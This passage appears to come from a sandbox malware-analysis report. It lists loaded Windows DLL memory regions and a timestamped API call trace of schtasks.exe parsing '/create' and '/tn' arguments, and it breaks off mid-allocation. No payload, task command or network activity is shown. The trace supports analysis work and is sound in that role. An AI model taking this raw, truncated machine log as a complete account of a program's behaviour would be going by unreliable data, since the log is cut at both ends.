"\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3006 start_va = 0x2159bbd0000 end_va = 0x2159bc08fff monitored = 0 entry_point = 0x2159bbd12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3007 start_va = 0x2159c260000 end_va = 0x2159c3e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002159c260000" filename = "" Region: id = 3008 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3009 start_va = 0x2159bbd0000 end_va = 0x2159bbd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002159bbd0000" filename = "" Region: id = 3010 start_va = 0x2159bbe0000 end_va = 0x2159bbe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002159bbe0000" filename = "" Region: id = 3011 start_va = 0x2159c3f0000 end_va = 0x2159c570fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002159c3f0000" filename = "" Region: id = 3012 start_va = 0x2159c580000 end_va = 0x2159d97ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002159c580000" filename = "" Region: id = 3013 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3014 start_va = 0x2159bbf0000 end_va = 0x2159bbf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002159bbf0000" filename = "" Region: id = 3015 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3016 start_va = 0x2159bc00000 end_va = 0x2159bc00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002159bc00000" filename = "" Region: id = 3017 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3018 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3020 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 158 os_tid = 0x12dc [0117.756] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0117.756] __set_app_type (_Type=0x1) [0117.756] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0117.756] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0117.757] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0117.757] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0117.757] CsrIdentifyAlertableThread () returned 0x0 [0117.757] GetProcessHeap () returned 0x2159bc10000 [0117.757] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc14a00 [0117.757] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.758] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0117.758] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0117.758] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0117.758] RtlVerifyVersionInfo (VersionInfo=0x23d6e7f440, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0117.758] GetProcessHeap () returned 0x2159bc10000 [0117.758] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc14a20 [0117.758] lstrlenW (lpString="") returned 0 [0117.758] GetProcessHeap () returned 0x2159bc10000 [0117.758] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x2) returned 0x2159bc14a40 [0117.758] GetProcessHeap () returned 0x2159bc10000 [0117.758] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc143b0 [0117.758] GetProcessHeap () returned 0x2159bc10000 [0117.758] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc143e0 [0117.758] GetProcessHeap () returned 0x2159bc10000 [0117.758] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc14400 [0117.758] GetProcessHeap () returned 0x2159bc10000 [0117.758] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc14430 [0117.758] GetProcessHeap () returned 0x2159bc10000 [0117.758] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc13fa0 [0117.758] GetProcessHeap () returned 0x2159bc10000 [0117.758] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc13fd0 [0117.759] GetProcessHeap () returned 0x2159bc10000 [0117.759] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc14000 [0117.759] GetProcessHeap () returned 0x2159bc10000 [0117.759] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18a10 [0117.759] GetProcessHeap () returned 0x2159bc10000 [0117.759] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18bc0 [0117.759] GetProcessHeap () returned 0x2159bc10000 [0117.759] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18b60 [0117.759] GetProcessHeap () returned 0x2159bc10000 [0117.760] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18d40 [0117.760] GetProcessHeap () returned 0x2159bc10000 [0117.760] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc14020 [0117.760] GetProcessHeap () returned 0x2159bc10000 [0117.760] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18d10 [0117.760] GetProcessHeap () returned 0x2159bc10000 [0117.760] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18b90 [0117.760] GetProcessHeap () returned 0x2159bc10000 [0117.760] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18cb0 [0117.760] GetProcessHeap () returned 0x2159bc10000 [0117.760] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18c80 [0117.760] SetThreadUILanguage (LangId=0x0) returned 0x409 [0117.818] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.818] GetProcessHeap () returned 0x2159bc10000 [0117.818] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18aa0 [0117.818] GetProcessHeap () returned 0x2159bc10000 [0117.818] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18bf0 [0117.818] GetProcessHeap () returned 0x2159bc10000 [0117.818] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18c20 [0117.818] GetProcessHeap () returned 0x2159bc10000 [0117.818] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18c50 [0117.818] GetProcessHeap () returned 0x2159bc10000 [0117.818] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18ce0 [0117.818] GetProcessHeap () returned 0x2159bc10000 [0117.818] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc120f0 [0117.818] _memicmp (_Buf1=0x2159bc120f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.818] GetProcessHeap () returned 0x2159bc10000 [0117.818] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x208) returned 0x2159bc19a20 [0117.818] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2159bc19a20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0117.818] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x23d6e7f598 | out: lpdwHandle=0x23d6e7f598) returned 0x76c [0117.820] GetProcessHeap () returned 0x2159bc10000 [0117.820] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x776) returned 0x2159bc1a780 [0117.820] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2159bc1a780 | out: lpData=0x2159bc1a780) returned 1 [0117.821] VerQueryValueW (in: pBlock=0x2159bc1a780, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23d6e7f530, puLen=0x23d6e7f590 | out: lplpBuffer=0x23d6e7f530*=0x2159bc1ab30, puLen=0x23d6e7f590) returned 1 [0117.823] _memicmp (_Buf1=0x2159bc120f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.823] _vsnwprintf (in: _Buffer=0x2159bc19a20, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23d6e7f508 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0117.824] VerQueryValueW (in: pBlock=0x2159bc1a780, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23d6e7f520, puLen=0x23d6e7f588 | out: lplpBuffer=0x23d6e7f520*=0x2159bc1a960, puLen=0x23d6e7f588) returned 1 [0117.824] lstrlenW (lpString="schtasks.exe") returned 12 [0117.824] lstrlenW (lpString="schtasks.exe") returned 12 [0117.824] lstrlenW (lpString=".EXE") returned 4 [0117.824] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0117.826] lstrlenW (lpString="schtasks.exe") returned 12 [0117.826] lstrlenW (lpString=".EXE") returned 4 [0117.826] _memicmp (_Buf1=0x2159bc120f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.826] lstrlenW (lpString="schtasks") returned 8 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18b00 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc18b30 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b4d0 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b410 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc147f0 [0117.826] _memicmp (_Buf1=0x2159bc147f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0xa0) returned 0x2159bc14230 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b740 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b920 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 0x2159bc1b3b0 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc146e0 [0117.826] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.826] GetProcessHeap () returned 0x2159bc10000 [0117.826] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x200) returned 0x2159bc1ba50 [0117.827] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0117.827] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0117.827] GetProcessHeap () returned 0x2159bc10000 [0117.827] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x30) returned 0x2159bc142e0 [0117.827] _vsnwprintf (in: _Buffer=0x2159bc14230, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23d6e7f508 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0117.827] GetProcessHeap () returned 0x2159bc10000 [0117.827] GetProcessHeap () returned 0x2159bc10000 [0117.827] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a780) returned 1 [0117.827] GetProcessHeap () returned 0x2159bc10000 [0117.827] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a780) returned 0x776 [0117.828] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a780) returned 1 [0117.828] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.828] GetThreadLocale () returned 0x409 [0117.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.828] lstrlenW (lpString="?") returned 1 [0117.828] GetThreadLocale () returned 0x409 [0117.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.828] lstrlenW (lpString="create") returned 6 [0117.828] GetThreadLocale () returned 0x409 [0117.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.828] lstrlenW (lpString="delete") returned 6 [0117.828] GetThreadLocale () returned 0x409 [0117.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.828] lstrlenW (lpString="query") returned 5 [0117.828] GetThreadLocale () returned 0x409 [0117.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.828] lstrlenW (lpString="change") returned 6 [0117.828] GetThreadLocale () returned 0x409 [0117.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.828] lstrlenW (lpString="run") returned 3 [0117.828] GetThreadLocale () returned 0x409 [0117.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.828] lstrlenW (lpString="end") returned 3 [0117.828] GetThreadLocale () returned 0x409 [0117.828] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.829] lstrlenW (lpString="showsid") returned 7 [0117.829] GetThreadLocale () returned 0x409 [0117.829] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.829] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.829] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.829] lstrlenW (lpString="/create") returned 7 [0117.829] lstrlenW (lpString="-/") returned 2 [0117.829] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.829] lstrlenW (lpString="?") returned 1 [0117.829] lstrlenW (lpString="?") returned 1 [0117.829] GetProcessHeap () returned 0x2159bc10000 [0117.829] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc14320 [0117.829] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.829] GetProcessHeap () returned 0x2159bc10000 [0117.829] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0xa) returned 0x2159bc138b0 [0117.829] lstrlenW (lpString="create") returned 6 [0117.829] GetProcessHeap () returned 0x2159bc10000 [0117.829] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc138d0 [0117.829] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.829] GetProcessHeap () returned 0x2159bc10000 [0117.829] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x14) returned 0x2159bc1a9d0 [0117.829] _vsnwprintf (in: _Buffer=0x2159bc138b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|?|") returned 3 [0117.829] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|create|") returned 8 [0117.829] lstrlenW (lpString="|?|") returned 3 [0117.829] lstrlenW (lpString="|create|") returned 8 [0117.829] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.829] lstrlenW (lpString="create") returned 6 [0117.829] lstrlenW (lpString="create") returned 6 [0117.829] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.829] GetProcessHeap () returned 0x2159bc10000 [0117.829] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc138b0) returned 1 [0117.829] GetProcessHeap () returned 0x2159bc10000 [0117.830] RtlReAllocateHeap (Heap=0x2159bc10000, Flags=0xc, Ptr=0x2159bc138b0, Size=0x14) returned 0x2159bc138f0 [0117.830] lstrlenW (lpString="create") returned 6 [0117.830] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.830] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|create|") returned 8 [0117.830] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|create|") returned 8 [0117.830] lstrlenW (lpString="|create|") returned 8 [0117.830] lstrlenW (lpString="|create|") returned 8 [0117.830] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0117.830] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.830] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.830] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.830] lstrlenW (lpString="/tn") returned 3 [0117.830] lstrlenW (lpString="-/") returned 2 [0117.830] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.830] lstrlenW (lpString="?") returned 1 [0117.830] lstrlenW (lpString="?") returned 1 [0117.830] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.830] lstrlenW (lpString="tn") returned 2 [0117.830] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.830] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|?|") returned 3 [0117.830] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tn|") returned 4 [0117.830] lstrlenW (lpString="|?|") returned 3 [0117.830] lstrlenW (lpString="|tn|") returned 4 [0117.830] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.830] lstrlenW (lpString="create") returned 6 [0117.830] lstrlenW (lpString="create") returned 6 [0117.830] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.830] lstrlenW (lpString="tn") returned 2 [0117.831] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.831] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|create|") returned 8 [0117.831] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tn|") returned 4 [0117.831] lstrlenW (lpString="|create|") returned 8 [0117.831] lstrlenW (lpString="|tn|") returned 4 [0117.831] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0117.831] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.831] lstrlenW (lpString="delete") returned 6 [0117.831] lstrlenW (lpString="delete") returned 6 [0117.831] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.831] lstrlenW (lpString="tn") returned 2 [0117.831] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.831] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|delete|") returned 8 [0117.831] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tn|") returned 4 [0117.831] lstrlenW (lpString="|delete|") returned 8 [0117.831] lstrlenW (lpString="|tn|") returned 4 [0117.831] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0117.831] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.831] lstrlenW (lpString="query") returned 5 [0117.831] lstrlenW (lpString="query") returned 5 [0117.831] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.831] lstrlenW (lpString="tn") returned 2 [0117.831] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.831] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|query|") returned 7 [0117.831] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tn|") returned 4 [0117.831] lstrlenW (lpString="|query|") returned 7 [0117.831] lstrlenW (lpString="|tn|") returned 4 [0117.832] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0117.832] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.832] lstrlenW (lpString="change") returned 6 [0117.832] lstrlenW (lpString="change") returned 6 [0117.832] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.832] lstrlenW (lpString="tn") returned 2 [0117.832] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.832] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|change|") returned 8 [0117.832] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tn|") returned 4 [0117.832] lstrlenW (lpString="|change|") returned 8 [0117.832] lstrlenW (lpString="|tn|") returned 4 [0117.832] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0117.832] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.832] lstrlenW (lpString="run") returned 3 [0117.832] lstrlenW (lpString="run") returned 3 [0117.832] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.832] lstrlenW (lpString="tn") returned 2 [0117.832] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.832] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|run|") returned 5 [0117.832] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tn|") returned 4 [0117.832] lstrlenW (lpString="|run|") returned 5 [0117.832] lstrlenW (lpString="|tn|") returned 4 [0117.832] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0117.832] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.832] lstrlenW (lpString="end") returned 3 [0117.832] lstrlenW (lpString="end") returned 3 [0117.832] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.833] lstrlenW (lpString="tn") returned 2 [0117.833] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.833] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|end|") returned 5 [0117.833] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tn|") returned 4 [0117.833] lstrlenW (lpString="|end|") returned 5 [0117.833] lstrlenW (lpString="|tn|") returned 4 [0117.833] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0117.833] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.833] lstrlenW (lpString="showsid") returned 7 [0117.833] lstrlenW (lpString="showsid") returned 7 [0117.833] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.833] GetProcessHeap () returned 0x2159bc10000 [0117.833] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc138f0) returned 1 [0117.833] GetProcessHeap () returned 0x2159bc10000 [0117.833] RtlReAllocateHeap (Heap=0x2159bc10000, Flags=0xc, Ptr=0x2159bc138f0, Size=0x16) returned 0x2159bc138f0 [0117.833] lstrlenW (lpString="tn") returned 2 [0117.833] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.833] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|showsid|") returned 9 [0117.833] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7f518 | out: _Buffer="|tn|") returned 4 [0117.833] lstrlenW (lpString="|showsid|") returned 9 [0117.833] lstrlenW (lpString="|tn|") returned 4 [0117.833] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0117.833] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.833] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.833] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.833] lstrlenW (lpString="/tn") returned 3 [0117.833] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0117.833] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.834] lstrlenW (lpString="/tn") returned 3 [0117.834] GetProcessHeap () returned 0x2159bc10000 [0117.834] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x8) returned 0x2159bc138b0 [0117.834] GetProcessHeap () returned 0x2159bc10000 [0117.834] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x20) returned 